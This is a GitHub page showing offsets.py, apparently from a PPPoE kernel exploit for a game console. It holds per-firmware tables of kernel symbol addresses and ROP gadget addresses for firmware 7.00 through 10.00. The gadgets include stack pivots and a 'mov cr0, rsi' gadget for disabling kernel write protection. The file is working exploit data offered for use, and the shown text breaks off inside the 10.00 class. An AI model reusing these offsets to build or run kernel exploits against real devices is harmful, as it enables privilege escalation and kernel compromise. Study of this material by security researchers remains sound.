-
Notifications
You must be signed in to change notification settings - Fork 375
/
offsets.py
941 lines (622 loc) · 28.2 KB
/
offsets.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
# Copyright (C) 2024 Andy Nguyen
#
# This software may be modified and distributed under the terms
# of the MIT license. See the LICENSE file for details.
# FW 7.00 / 7.01 / 7.02
class OffsetsFirmware_700_702:
PPPOE_SOFTC_LIST = 0xffffffff844ad838
KERNEL_MAP = 0xffffffff843c8ee0
SETIDT = 0xffffffff82692400
KMEM_ALLOC = 0xffffffff823170f0
KMEM_ALLOC_PATCH1 = 0xffffffff823171be
KMEM_ALLOC_PATCH2 = 0xffffffff823171c6
MEMCPY = 0xffffffff8222f040
# 0xffffffff82660609 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823b7169
SECOND_GADGET_OFF = 0x3b
# 0xffffffff822f52ed : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff822f52ed
# 0xffffffff82c72e66 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c928d6
# 0xffffffff82699bc1 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff82699bc1
# 0xffffffff82945dc6 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82945dc6
# 0xffffffff826d56ad : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826d56ad
# 0xffffffff8252a48a : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff8252a48a
# 0xffffffff822005a1 : ret
RET = 0xffffffff822005a1
# 0xffffffff8255325a : pop rdi ; ret
POP_RDI_RET = 0xffffffff8255325a
# 0xffffffff8230d34e : pop rsi ; ret
POP_RSI_RET = 0xffffffff8230d34e
# 0xffffffff8299ae06 : pop rdx ; ret
POP_RDX_RET = 0xffffffff8299ae06
# 0xffffffff822563a6 : pop rcx ; ret
POP_RCX_RET = 0xffffffff822563a6
# 0xffffffff82326dcd : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff82326dcd
# 0xffffffff827d2b4f : pop r12 ; ret
POP_R12_RET = 0xffffffff827d2b4f
# 0xffffffff82407b54 : pop rax ; ret
POP_RAX_RET = 0xffffffff82407b54
# 0xffffffff822008f2 : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008f2
# 0xffffffff82bd348a : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bd348a
# 0xffffffff822fb490 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff822fb490
# 0xffffffff82b910ba : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b910ba
# 0xffffffff82644739 : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff82644739
# 0xffffffff82644535 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff82644535
# 0xffffffff822ad8e1 : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff822ad8e1
# 0xffffffff8266a598 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff8266a598
# 0xffffffff82cd2aca : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cd2aca
# 0xffffffff82583b8a : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82583b8a
# 0xffffffff82ba226b : jmp r14
JMP_R14 = 0xffffffff82ba226b
# FW 7.50 / 7.51 / 7.50
class OffsetsFirmware_750_755:
PPPOE_SOFTC_LIST = 0xffffffff8433fcd0
KERNEL_MAP = 0xffffffff843405b8
SETIDT = 0xffffffff825d9440
KMEM_ALLOC = 0xffffffff823753e0
KMEM_ALLOC_PATCH1 = 0xffffffff823754ac
KMEM_ALLOC_PATCH2 = 0xffffffff823754b4
MEMCPY = 0xffffffff8248f800
# 0xffffffffe19d9cf9 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff825a2589
SECOND_GADGET_OFF = 0x3b
# 0xffffffff824095e7 : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff824095e7
# 0xffffffff82c90516 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c90516
# 0xffffffff82565e21 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff82565e21
# 0xffffffff82949bc6 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82949bc6
# 0xffffffff826d62fa : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826d62fa
# 0xffffffff82599199 : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff82599199
# 0xffffffff822008f3 : ret
RET = 0xffffffff822008f3
# 0xffffffff8228c0fc : pop rdi ; ret
POP_RDI_RET = 0xffffffff8228c0fc
# 0xffffffff82257b77 : pop rsi ; ret
POP_RSI_RET = 0xffffffff82257b77
# 0xffffffff822f2f1a : pop rdx ; ret
POP_RDX_RET = 0xffffffff822f2f1a
# 0xffffffff8231312c : pop rcx ; ret
POP_RCX_RET = 0xffffffff8231312c
# 0xffffffff82227fa7 : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff82227fa7
# 0xffffffff827dc32f : pop r12 ; ret
POP_R12_RET = 0xffffffff827dc32f
# 0xffffffff8231a01e : pop rax ; ret
POP_RAX_RET = 0xffffffff8231a01e
# 0xffffffff822008f2 : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008f2
# 0xffffffff82bd096a : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bd096a
# 0xffffffff82447f40 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82447f40
# 0xffffffff82b8e5ae : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b8e5ae
# 0xffffffff8246ce59 : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff8246ce59
# 0xffffffff8246cc67 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff8246cc67
# 0xffffffff824cd8c1 : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff824cd8c1
# 0xffffffff824bdaa8 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff824bdaa8
# 0xffffffff82cd070a : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cd070a
# 0xffffffff8235a377 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8235a377
# 0xffffffff8253f959 : jmp r14
JMP_R14 = 0xffffffff8253f959
# FW 8.00 / 8.01 / 8.03
class OffsetsFirmware_800_803:
PPPOE_SOFTC_LIST = 0xffffffff84422370
KERNEL_MAP = 0xffffffff83d243e0
SETIDT = 0xffffffff82249dd0
KMEM_ALLOC = 0xffffffff8221b3f0
KMEM_ALLOC_PATCH1 = 0xffffffff8221b4bc
KMEM_ALLOC_PATCH2 = 0xffffffff8221b4c4
MEMCPY = 0xffffffff8245e1c0
# 0xffffffff82660609 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff82660609
SECOND_GADGET_OFF = 0x3b
# 0xffffffff82245f1d : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff82245f1d
# 0xffffffff82c72e66 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c72e66
# 0xffffffff823b3311 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff823b3311
# 0xffffffff8293bb06 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293bb06
# 0xffffffff826aeada : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826aeada
# 0xffffffff8267b46f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff8267b46f
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff82652d81 : pop rdi ; ret
POP_RDI_RET = 0xffffffff82652d81
# 0xffffffff82212728 : pop rsi ; ret
POP_RSI_RET = 0xffffffff82212728
# 0xffffffff82482342 : pop rdx ; ret
POP_RDX_RET = 0xffffffff82482342
# 0xffffffff82233677 : pop rcx ; ret
POP_RCX_RET = 0xffffffff82233677
# 0xffffffff823ac6ed : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff823ac6ed
# 0xffffffff8279b42f : pop r12 ; ret
POP_R12_RET = 0xffffffff8279b42f
# 0xffffffff8223711d : pop rax ; ret
POP_RAX_RET = 0xffffffff8223711d
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb35ba : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb35ba
# 0xffffffff82529060 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82529060
# 0xffffffff82b7124e : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b7124e
# 0xffffffff8232e9ac : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff8232e9ac
# 0xffffffff8232e7e7 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff8232e7e7
# 0xffffffff823d049e : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff823d049e
# 0xffffffff825dc638 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff825dc638
# 0xffffffff82cb305a : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb305a
# 0xffffffff8266f467 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8266f467
# 0xffffffff82b82393 : jmp r14
JMP_R14 = 0xffffffff82b82393
# FW 8.50 / 8.52
class OffsetsFirmware_850_852:
PPPOE_SOFTC_LIST = 0xffffffff83dd6018
KERNEL_MAP = 0xffffffff83e64228
SETIDT = 0xffffffff82467340
KMEM_ALLOC = 0xffffffff824199a0
KMEM_ALLOC_PATCH1 = 0xffffffff82419a6c
KMEM_ALLOC_PATCH2 = 0xffffffff82419a74
MEMCPY = 0xffffffff825a40f0
# 0xffffffff823ce849 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823ce849
SECOND_GADGET_OFF = 0x3b
# 0xffffffff8237e09d : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff8237e09d
# 0xffffffff82c766e6 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c766e6
# 0xffffffff822a3a31 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822a3a31
# 0xffffffff829261c6 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff829261c6
# 0xffffffff826d2a8a : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826d2a8a
# 0xffffffff82439c6f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff82439c6f
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff825dc87d : pop rdi ; ret
POP_RDI_RET = 0xffffffff825dc87d
# 0xffffffff823882c9 : pop rsi ; ret
POP_RSI_RET = 0xffffffff823882c9
# 0xffffffff8232eec2 : pop rdx ; ret
POP_RDX_RET = 0xffffffff8232eec2
# 0xffffffff82246d0c : pop rcx ; ret
POP_RCX_RET = 0xffffffff82246d0c
# 0xffffffff8237cd26 : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff8237cd26
# 0xffffffff827a366f : pop r12 ; ret
POP_R12_RET = 0xffffffff827a366f
# 0xffffffff82202d74 : pop rax ; ret
POP_RAX_RET = 0xffffffff82202d74
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb5866 : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5866
# 0xffffffff82444180 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82444180
# 0xffffffff82b73476 : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b73476
# 0xffffffff8220fbbc : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff8220fbbc
# 0xffffffff8220f9f7 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff8220f9f7
# 0xffffffff8253628e : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff8253628e
# 0xffffffff825bb768 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff825bb768
# 0xffffffff82cb68da : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb68da
# 0xffffffff82346e67 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82346e67
# 0xffffffff82b845c7 : jmp r14
JMP_R14 = 0xffffffff82b845c7
# FW 9.00
class OffsetsFirmware_900:
PPPOE_SOFTC_LIST = 0xffffffff843ed9f8
KERNEL_MAP = 0xffffffff84468d48
SETIDT = 0xffffffff82512c40
KMEM_ALLOC = 0xffffffff8257be70
KMEM_ALLOC_PATCH1 = 0xffffffff8257bf3c
KMEM_ALLOC_PATCH2 = 0xffffffff8257bf44
MEMCPY = 0xffffffff824714b0
# 0xffffffff823fb949 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823fb949
SECOND_GADGET_OFF = 0x3d
# 0xffffffff82996603 : jmp qword ptr [rsi + 0x3d]
FIRST_GADGET = 0xffffffff82996603
# 0xffffffff82c76646 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c76646
# 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822b4151
# 0xffffffff82941e46 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82941e46
# 0xffffffff826c52aa : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826c52aa
# 0xffffffff8251b08f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff8251b08f
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff822391a8 : pop rdi ; ret
POP_RDI_RET = 0xffffffff822391a8
# 0xffffffff822aad39 : pop rsi ; ret
POP_RSI_RET = 0xffffffff822aad39
# 0xffffffff82322eba : pop rdx ; ret
POP_RDX_RET = 0xffffffff82322eba
# 0xffffffff822445e7 : pop rcx ; ret
POP_RCX_RET = 0xffffffff822445e7
# 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff822ab4dd
# 0xffffffff8279fa0f : pop r12 ; ret
POP_R12_RET = 0xffffffff8279fa0f
# 0xffffffff82234ec8 : pop rax ; ret
POP_RAX_RET = 0xffffffff82234ec8
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb687a : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb687a
# 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82244ed0
# 0xffffffff82b7450e : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff82b7450e
# 0xffffffff82632b9c : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff82632b9c
# 0xffffffff8235b387 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff8235b387
# 0xffffffff822e3d7e : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff822e3d7e
# 0xffffffff82363918 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff82363918
# 0xffffffff82cb683a : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb683a
# 0xffffffff82409557 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82409557
# 0xffffffff82b85693 : jmp r14
JMP_R14 = 0xffffffff82b85693
# FW 9.03 / 9.04
class OffsetsFirmware_903_904:
PPPOE_SOFTC_LIST = 0xffffffff843e99f8
KERNEL_MAP = 0xffffffff84464d48
SETIDT = 0xffffffff825128e0
KMEM_ALLOC = 0xffffffff8257a070
KMEM_ALLOC_PATCH1 = 0xffffffff8257a13c
KMEM_ALLOC_PATCH2 = 0xffffffff8257a144
MEMCPY = 0xffffffff82471130
# 0xffffffff823fb679 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff823fb679
SECOND_GADGET_OFF = 0x3d
# 0xffffffff829e686f : jmp qword ptr [rsi + 0x3d]
FIRST_GADGET = 0xffffffff829e686f
# 0xffffffff82c74566 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c74566
# 0xffffffff822b4151 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822b4151
# 0xffffffff8293fe06 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293fe06
# 0xffffffff826c31aa : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826c31aa
# 0xffffffff8251ad2f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff8251ad2f
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff8238e75d : pop rdi ; ret
POP_RDI_RET = 0xffffffff8238e75d
# 0xffffffff822aad39 : pop rsi ; ret
POP_RSI_RET = 0xffffffff822aad39
# 0xffffffff8244cc56 : pop rdx ; ret
POP_RDX_RET = 0xffffffff8244cc56
# 0xffffffff822445e7 : pop rcx ; ret
POP_RCX_RET = 0xffffffff822445e7
# 0xffffffff822ab4dd : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff822ab4dd
# 0xffffffff8279d9cf : pop r12 ; ret
POP_R12_RET = 0xffffffff8279d9cf
# 0xffffffff82234ec8 : pop rax ; ret
POP_RAX_RET = 0xffffffff82234ec8
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb479a : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb479a
# 0xffffffff82244ed0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff82244ed0
# 0xffffffff825386d8 : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff825386d8
# 0xffffffff82630b0c : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff82630b0c
# 0xffffffff8235b337 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff8235b337
# 0xffffffff822e3d2e : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff822e3d2e
# 0xffffffff823638c8 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff823638c8
# 0xffffffff82cb475a : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb475a
# 0xffffffff82409287 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82409287
# 0xffffffff82b835b3 : jmp r14
JMP_R14 = 0xffffffff82b835b3
# FW 9.50 / 9.51 / 9.60
class OffsetsFirmware_950_960:
PPPOE_SOFTC_LIST = 0xffffffff8434c0a8
KERNEL_MAP = 0xffffffff84347830
SETIDT = 0xffffffff8254d320
KMEM_ALLOC = 0xffffffff823889d0
KMEM_ALLOC_PATCH1 = 0xffffffff82388a9c
KMEM_ALLOC_PATCH2 = 0xffffffff82388aa4
MEMCPY = 0xffffffff82401cc0
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff822bea79
SECOND_GADGET_OFF = 0x3b
# 0xffffffff822c53cd : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff822c53cd
# 0xffffffff82c6ec06 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c6ec06
# 0xffffffff822bf041 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff822bf041
# 0xffffffff82935fc6 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82935fc6
# 0xffffffff826adfda : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826adfda
# 0xffffffff82584c1f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff82584c1f
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff82315161 : pop rdi ; ret
POP_RDI_RET = 0xffffffff82315161
# 0xffffffff822dd859 : pop rsi ; ret
POP_RSI_RET = 0xffffffff822dd859
# 0xffffffff822cad55 : pop rdx ; ret
POP_RDX_RET = 0xffffffff822cad55
# 0xffffffff8222d707 : pop rcx ; ret
POP_RCX_RET = 0xffffffff8222d707
# 0xffffffff8220fec7 : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff8220fec7
# 0xffffffff8279f14f : pop r12 ; ret
POP_R12_RET = 0xffffffff8279f14f
# 0xffffffff8223a7fe : pop rax ; ret
POP_RAX_RET = 0xffffffff8223a7fe
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bad912 : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bad912
# 0xffffffff8235fea0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff8235fea0
# 0xffffffff824f2458 : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff824f2458
# 0xffffffff822524dc : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff822524dc
# 0xffffffff82252317 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff82252317
# 0xffffffff824a07ae : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff824a07ae
# 0xffffffff82567228 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff82567228
# 0xffffffff82caedfa : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82caedfa
# 0xffffffff82333437 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff82333437
# 0xffffffff82b7c6e7 : jmp r14
JMP_R14 = 0xffffffff82b7c6e7
# FW 10.00 / 10.01
class OffsetsFirmware_1000_1001:
PPPOE_SOFTC_LIST = 0xffffffff8446d920
KERNEL_MAP = 0xffffffff8447bef8
SETIDT = 0xffffffff8227b460
KMEM_ALLOC = 0xffffffff8253b040
KMEM_ALLOC_PATCH1 = 0xffffffff8253b10c
KMEM_ALLOC_PATCH2 = 0xffffffff8253b114
MEMCPY = 0xffffffff82672d20
# 0xffffffff82376089 : mov cr0 rsi ; ud2 ; mov eax 1; ret
